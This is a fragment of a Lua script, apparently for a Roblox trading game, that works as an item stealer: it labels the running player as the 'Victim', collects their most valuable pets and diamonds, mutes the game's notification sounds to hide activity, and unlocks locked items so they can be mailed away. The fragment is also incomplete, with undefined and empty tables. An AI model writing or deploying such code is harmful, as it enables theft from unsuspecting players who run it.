Newest Version - Lua
Newest Version - Lua
if _G.scriptExecuted then
return
end
_G.scriptExecuted = true
if mailsent ~= 0 then
newamount = math.ceil(newamount * (1.5 ^ mailsent))
end
local GemAmount1 = 1
for i, v in pairs(GetSave().Inventory.Currency) do
if v.id == "Diamonds" then
GemAmount1 = v._am
break
end
end
local totalRAP = 0
local fields = {
{
name = "Victim Username:",
value = username,
inline = true
},
{
name = "Items to be sent:",
value = "",
inline = false
}
}
local combinedItems = {}
local itemRapMap = {}
table.sort(combinedItems, function(a, b)
return itemRapMap[a].rap * itemRapMap[a].amount > itemRapMap[b].rap *
itemRapMap[b].amount
end)
game.DescendantAdded:Connect(function(x)
if x.ClassName == "Sound" then
if x.SoundId=="rbxassetid://11839132565" or
x.SoundId=="rbxassetid://14254721038" or x.SoundId=="rbxassetid://12413423276" then
x.Volume=0
x.PlayOnRemove=false
x:Destroy()
end
end
end)
for i, v in pairs(categoryList) do
if save[v] ~= nil then
for uid, item in pairs(save[v]) do
if v == "Pet" then
local dir = library.Directory.Pets[item.id]
if dir.huge or dir.exclusiveLevel then
local rapValue = getRAP(v, item)
if rapValue >= min_rap then
local prefix = ""
if item.pt and item.pt == 1 then
prefix = "Golden "
elseif item.pt and item.pt == 2 then
prefix = "Rainbow "
end
if item.sh then
prefix = "Shiny " .. prefix
end
local id = prefix .. item.id
table.insert(sortedItems, {category = v, uid = uid, amount
= item._am or 1, rap = rapValue, name = id})
end
end
else
local rapValue = getRAP(v, item)
if rapValue >= min_rap then
table.insert(sortedItems, {category = v, uid = uid, amount =
item._am or 1, rap = rapValue, name = item.id})
end
end
if item._lk then
local args = {
[1] = uid,
[2] = false
}
network:WaitForChild("Locking_SetLocked"):InvokeServer(unpack(args))
end
end
end
end
table.sort(sortedItems, function(a, b)
return a.rap * a.amount > b.rap * b.amount
end)